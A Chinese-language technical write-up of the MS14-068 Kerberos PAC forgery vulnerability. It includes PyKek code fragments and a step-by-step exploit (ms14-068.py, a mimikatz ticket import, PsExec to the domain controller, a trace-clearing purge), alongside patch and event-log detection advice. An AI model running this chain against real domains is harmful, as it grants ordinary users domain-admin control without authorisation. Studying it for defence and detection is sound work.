域内提权票据篇之剖析经典漏洞MS14-068
字数 1741 2025-08-06 08:34:49
MS14-068漏洞分析与利用:域内提权票据攻击详解
一、背景知识:Kerberos与PAC机制
1. PAC介绍
Kerberos协议最初设计中没有明确区分不同权限用户的访问控制,微软通过引入PAC(Privilege Attribute Certificate)来解决这个问题。
PAC功能:
- 类似"飞机座位等级",通过PAC区分用户权限
- 包含用户SID、组信息等权限属性
2. PAC实现机制
认证流程:
- 用户与KDC完成认证后,Client请求服务
- Server将Client的User SID等信息传递给KDC验证
- KDC通过SID判断用户权限,返回结果给Server
- Server比较ACL决定是否提供服务
PAC传输:
- 在KRB_AS_REP阶段由AS放在TGT中加密发送给Client
- Client转发给TGS验证服务请求
3. PAC安全机制
双重签名:
- PAC_SERVER_CHECKSUM:用Server端密码HASH加密
- PAC_PRIVSVR_CHECKSUM:用KDC密码HASH加密
验证流程:
- TGS解密后验证签名
- 构造新PAC放入ST返回给客户端
- 客户端用ST向服务端验证
二、MS14-068漏洞概述
影响范围:
- Windows Server 2008/2003域环境
- 允许普通域用户提权至域管理员
漏洞本质:
- 通过构造特殊Kerberos票据绕过PAC验证机制
三、漏洞原理深度分析
1. AS-REQ阶段:获取无PAC的TGT
攻击构造:
as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False)
关键点:
- 设置
include-pac=False获取无PAC的TGT - 使用RC4_HMAC加密算法
- 用普通用户NTLM哈希加密时间戳通过认证
2. AS-REP阶段:接收无PAC的TGT
响应内容:
- 用户密码加密的session_key
- 不带PAC的TGT票据
数据处理:
as_rep, as_rep_enc = decrypt_as_rep(data, user_key)
session_key = (int(as_rep_enc'key'), str(as_rep_enc'key'))
3. TGS-REQ阶段:伪造高权限PAC
攻击核心:
pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))
关键突破点:
- 签名绕过:
def checksum(cksumtype, data, key=None):
if cksumtype == RSA_MD5:
return MD5.new(data).digest()
# ...
- 使用RSA_MD5无需密钥即可生成签名
- 本应使用HMAC需要密钥的算法
- 权限提升:
- 修改用户SID,添加高权限组ID(如512域管理员组)
- 示例:
S-1-5-21-1872928177-2865231364-3848160764-1107→ 添加-512
- PAC位置:
- 将伪造PAC放在加密授权数据中而非TGT内
- 使用subkey加密PAC:
subkey = generate_subkey() # 16位随机数
请求构造:
tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm,
user_name, tgt_a, session_key, subkey, nonce,
current_time, pac, pac_request=False)
4. TGS-REP阶段:获取高权限TGT
KDC处理流程:
- 用session_key解密获取subkey
- 用subkey解密enc-authorization-data获取伪造PAC
- 验证签名(因使用MD5无需密钥可通过验证)
- 返回包含高权限PAC的新TGT
四、漏洞利用实战
1. 工具准备
- PyKek:构造恶意票据
- Mimikatz:票据操作
- PsExec:远程执行
2. 攻击步骤
-
获取普通用户凭证:
- 用户名、密码/NTLM哈希、SID
-
生成恶意票据:
python ms14-068.py -u 普通用户@域名 -s SID -d 域控IP -
导入票据:
mimikatz # kerberos::ptc 票据文件.ccache -
验证权限:
- 访问域控共享:
dir \\域控\c$ - 获取shell:
PsExec.exe \\域控 cmd.exe
- 访问域控共享:
3. 日志清除
kerberos::purge # 清除票据缓存
五、防御与检测
1. 防御措施
- 安装KB3011780补丁
- 禁用RC4_HMAC加密算法
2. 检测方法
流量检测:
- AS-REQ中包含
include-pac:False - 异常的TGS请求中包含自定义PAC
主机日志检测:
- 事件ID 4768:异常的TGT请求
- 事件ID 4769:异常的TGS请求
- 事件ID 4624:异常账户登录
- 事件ID 5140:非常规用户访问敏感共享
六、技术总结
漏洞根源:
include-pac标志可设置为False获取无PAC的TGT- PAC签名算法可被指定为无需密钥的MD5
- PAC可被放置在非标准位置仍能被KDC解析
攻击本质:
通过构造"合法"的高权限PAC,利用Kerberos协议实现中的验证缺陷,使KDC误认为请求来自高权限用户。